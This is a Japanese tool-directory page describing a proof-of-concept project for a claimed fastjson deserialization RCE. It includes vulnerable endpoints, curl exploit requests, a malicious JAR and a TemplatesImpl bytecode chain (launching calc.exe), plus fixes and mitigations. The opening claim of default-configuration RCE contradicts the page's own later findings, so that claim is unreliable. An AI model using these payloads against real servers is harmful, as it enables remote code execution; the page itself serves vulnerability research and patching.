Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/ipisav/fastjson-cve
脆弱性分析エクスプロイトウェブアプリケーション悪用論文と研究学習と教育
GitHubipisav/fastjson-cve

fastjson-cve

CVE-2026-16723の再現プロジェクト。fastjson 1.2.68-1.2.83における重大なRCEです。AutoTypeバイパス、JNDIインジェクション、TemplatesImplインメモリペイロードを、脆弱なSpring Bootエンドポイントとともに実演します。

リポジトリを見る
1420日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-16723 再現プロジェクト

概要

このプロジェクトは、fastjson 1.2.68 から 1.2.83 における重大なリモートコード実行(RCE)脆弱性である CVE-2026-16723 を再現します。この脆弱性は、AutoType の有効化や既存のクラスパス上のガジェットを必要とせず、デフォルト設定 のまま RCE を可能にします。

プロパティ値
CVE IDCVE-2026-16723
コンポーネントfastjson
影響を受けるバージョン1.2.68 – 1.2.83
修正済みバージョン1.2.84+、2.0.0+
脆弱性の種類デシリアライゼーション / RCE
深刻度CVSS 3.1: 9.0(CRITICAL)
攻撃ベクトルネットワーク
攻撃の複雑さ低
必要な権限なし
ユーザー操作なし

プロジェクト構成

root@kitploit:~
fastjson-cve-2026-16723/
├── pom.xml                              # メインプロジェクト(脆弱な fastjson を使用した Spring Boot アプリ)
├── src/main/java/com/example/cve/
│   ├── FastjsonCveApplication.java      # Spring Boot エントリポイント
│   └── controller/
│       └── VulnerableController.java    # 脆弱な REST エンドポイント
├── malicious/                           # 別モジュール: サプライチェーンシミュレーション用の悪意のある JAR
│   ├── pom.xml
│   └── src/main/java/exploit/
│       ├── MaliciousClass.java          # 静的初期化子を持つ悪意のあるクラス
│       ├── EvilTranslet.java            # TemplatesImpl インメモリモード用の悪意のあるトランスレット
│       └── GenTemplatesPayload.java     # TemplatesImpl JSON ペイロードを生成
├── templates-payload.json               # 生成された TemplatesImpl ペイロード(直接バリアント)
├── templates-payload-preload.json       # 生成された TemplatesImpl ペイロード(クラスプリロードバリアント)
├── target/
│   └── fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
└── malicious/target/
    └── malicious-jar-1.0.jar

脆弱性の詳細

根本原因

fastjson 1.2.68–1.2.83 には、AutoType 保護メカニズムのバイパスが存在します。デフォルト設定(autoTypeSupport=false)でも、攻撃者は細工された JSON ペイロードを使用して、以下のようなエクスプロイトチェーンを介して任意のクラスをインスタンス化できます:

  1. java.lang.Class + com.sun.rowset.JdbcRowSetImpl(JNDI インジェクション)
  2. java.lang.Runtime(直接的なコマンド実行)
  3. クラスパス上の悪意のある JAR によるサプライチェーン攻撃(@type: exploit.MaliciousClass)

脆弱なコード

VulnerableController.java — 2 つのエンドポイントが問題を示しています:

root@kitploit:~
@PostMapping("/parse")
public String parseJson(@RequestBody String json) {
    // 脆弱: デフォルト設定での JSON.parseObject
    // ParserConfig.getGlobalInstance().setAutoTypeSupport(true) は不要!
    JSONObject obj = JSON.parseObject(json);
    return "Parsed: " + obj.toJSONString();
}

@PostMapping("/deserialize")
public String deserializeJson(@RequestBody String json) {
    // Object へのデシリアライズを強制 — 実際のクラスインスタンス化をトリガー
    Object obj = JSON.parse(json);
    return "Deserialized: " + obj.getClass().getName();
}

プロジェクトのビルド

前提条件

  • Java 8+
  • Maven 3.6+

ビルドコマンド

root@kitploit:~
# メインアプリケーションのビルド
mvn clean package -DskipTests

# 悪意のある JAR のビルド(別モジュール)
cd malicious && mvn clean package && cd ..

出力アーティファクト

  • target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar — Spring Boot ファット JAR
  • malicious/target/malicious-jar-1.0.jar — exploit.MaliciousClass を含む悪意のある JAR

アプリケーションの実行

root@kitploit:~
java -jar target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar

サーバーは http://localhost:8080 で起動します

実行時要件: このプロジェクトは Java 8 を対象としており、TemplatesImpl インメモリモードは JDK 8 で検証されています。JDK 9+ ではモジュールシステムが java.xml 内部へのリフレクティブアクセスをブロックするため、--add-opens フラグを追加しない限り、チェーンは Error: create instance error, class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl で失敗します:

root@kitploit:~
java --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
     --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc=ALL-UNNAMED \
     -jar target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar

クラスパスに悪意のある JAR が含まれていることを確認

メインの pom.xml は悪意のある JAR を依存関係として宣言しているため、ファット JAR にバンドルされます:

root@kitploit:~
<dependency>
    <groupId>exploit</groupId>
    <artifactId>malicious-jar</artifactId>
    <version>1</version>
</dependency>

実行時に確認:

root@kitploit:~
curl http://localhost:8080/api/debug

脆弱性のテスト

ヘルスチェック

root@kitploit:~
curl http://localhost:8080/api/test

期待される結果: CVE-2026-16723 Reproduction Endpoint Ready...


サプライチェーン攻撃(クラスパス上の悪意のあるクラス)

malicious モジュールは、クラスロード時に calc.exe を実行する静的初期化子を持つ exploit.MaliciousClass を提供します。

root@kitploit:~
curl -X POST http://localhost:8080/api/deserialize \
  -H "Content-Type: application/json" \
  -d '{"@type":"exploit.MaliciousClass"}'

結果:

root@kitploit:~
>>> MALICIOUS STATIC INITIALIZER EXECUTED <<<
>>> MaliciousClass constructor called <<<

そしてサーバー上で calc.exe が起動します。

注: これは、悪意のある依存関係がクラスパス上に存在するサプライチェーンシナリオを示しています。この脆弱性により、JDK クラスだけでなく、クラスパス上の任意のクラスのインスタンス化が可能になります。


インメモリバイトコードモード(TemplatesImpl、外部サーバー不要)

サプライチェーンモード(クラスパス上の悪意のあるクラスが必要)や JNDI モード(LDAP/RMI サーバーが必要)とは異なり、このモードは悪意のあるバイトコードをペイロードに直接埋め込み、com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl を介してメモリからロードします — 追加のデプロイは不要です。

ステップ 1 — ペイロードの生成:

root@kitploit:~
cd malicious && mvn -DskipTests clean install && cd ..
java -cp malicious/target/malicious-jar-1.0.jar exploit.GenTemplatesPayload

これにより、exploit.EvilTranslet(静的初期化子が calc.exe を実行する AbstractTranslet サブクラス)がコンパイルされ、その .class バイトが base64 エンコードされて、以下が書き出されます:

  • templates-payload.json — 直接バリアント("@type": "TemplatesImpl")
  • templates-payload-preload.json — java.lang.Class プリロードバリアント

ステップ 2 — ペイロードの発火:

root@kitploit:~
curl -X POST http://localhost:8080/api/deserialize-autotype \
  -H "Content-Type: application/json" \
  --data-binary @templates-payload.json

結果:

root@kitploit:~
>>> EVIL TRANSLET STATIC INITIALIZER EXECUTED <<<
>>> EvilTranslet constructor called <<<

そしてサーバー上で calc.exe が起動します。

⚠️ 実証による知見(fastjson 1.2.83 で検証済み): TemplatesImpl チェーンは、純粋なデフォルト設定ではトリガーできません:

  • 直接の @type ペイロードは AutoType の拒否リストによって拒否されます(autoType is not support)。
  • java.lang.Class プリロードチェーンは 2 つの理由で失敗します:java.lang.Class 自体が拒否リストに含まれており(autoType is not support. java.lang.Class)、さらに TemplatesImpl を内部クラスマッピングにプリロードしても拒否リストをバイパスできません — 1.2.47 時代のマッピングバイパスは 1.2.83 で修正されています。
  • autoTypeSupport(true) だけでも不十分です:拒否リストは autoType フラグよりも優先されます。
  • チェーンが発火するのは、ParserConfig.addAccept(...) を介してクラスがホワイトリストに登録されている場合(許可リストは拒否リストより優先)かつ Feature.SupportNonPublicField が有効な場合のみです(TemplatesImpl の _bytecodes/_name/_tfactory はプライベートフィールドのため)。
  • /api/deserialize-autotype エンドポイントは、まさにこの組み合わせを実装しています。
  • 実行時: チェーンは JDK 8 で検証されています。JDK 9+ ではモジュールシステムが java.xml 内部へのリフレクティブアクセスをブロックするため、アプリケーションの実行 の JVM フラグを使用しない限り、インスタンス作成は Error: create instance error, class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl で失敗します。

エンドポイント動作
POST /api/parseJSONObject にパース — すべてのペイロードで完全なデシリアライゼーションがトリガーされるとは限りません
POST /api/deserializeObject にパース — 完全なデシリアライゼーションとクラスインスタンス化を強制(デフォルト設定)
POST /api/deserialize-nonpublicJSON.parse + Feature.SupportNonPublicField — プライベートフィールドを書き込みますが、拒否リストが TemplatesImpl をブロックします
POST /api/deserialize-autotypeAutoType + addAccept + SupportNonPublicField — TemplatesImpl インメモリチェーンを発火

悪意のあるクラスのエクスプロイトでは、静的初期化子をトリガーするために /api/deserialize が必要です。


修正済みバージョン

fastjson をパッチ適用済みバージョンにアップグレードしてください:

root@kitploit:~
<!-- オプション 1: fastjson 1.x(1.x ユーザーに推奨) -->
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.84</version>
</dependency>

<!-- オプション 2: fastjson 2.x(新規プロジェクトに推奨) -->
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson2</artifactId>
    <version>2.0.0</version>
</dependency>

緩和策(即時のアップグレードが不可能な場合)

root@kitploit:~
// AutoType をグローバルに無効化(部分的な緩和策 — エクスプロイトチェーンがバイパスする可能性あり)
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);

// または safeMode を使用(fastjson 1.2.68+)
ParserConfig.getGlobalInstance().setSafeMode(true);

参考情報

  • NVD CVE-2026-16723
  • Alibaba fastjson2 セキュリティアドバイザリ
  • fastjson GitHub リポジトリ

⚠️ 法的免責事項

このプロジェクトは、教育および防御的なセキュリティ研究のみを目的としています。

  • 所有していない、または明示的な書面によるテスト許可を得ていないシステムに対して使用しないでください。
  • 著者は、このコードの使用から生じる誤用、損害、または法的結果について一切の責任を負いません。
  • 脆弱性を発見した場合は、常に責任ある開示の慣行に従ってください。
  • この再現ではデモンストレーション用に無害なペイロード(calc.exe)を使用しています。実際のエクスプロイトは深刻な被害を引き起こす可能性があります。

ライセンス

このプロジェクトはセキュリティ研究用に現状のまま提供されます。明示的または黙示的な保証はありません。

ツールをダウンロード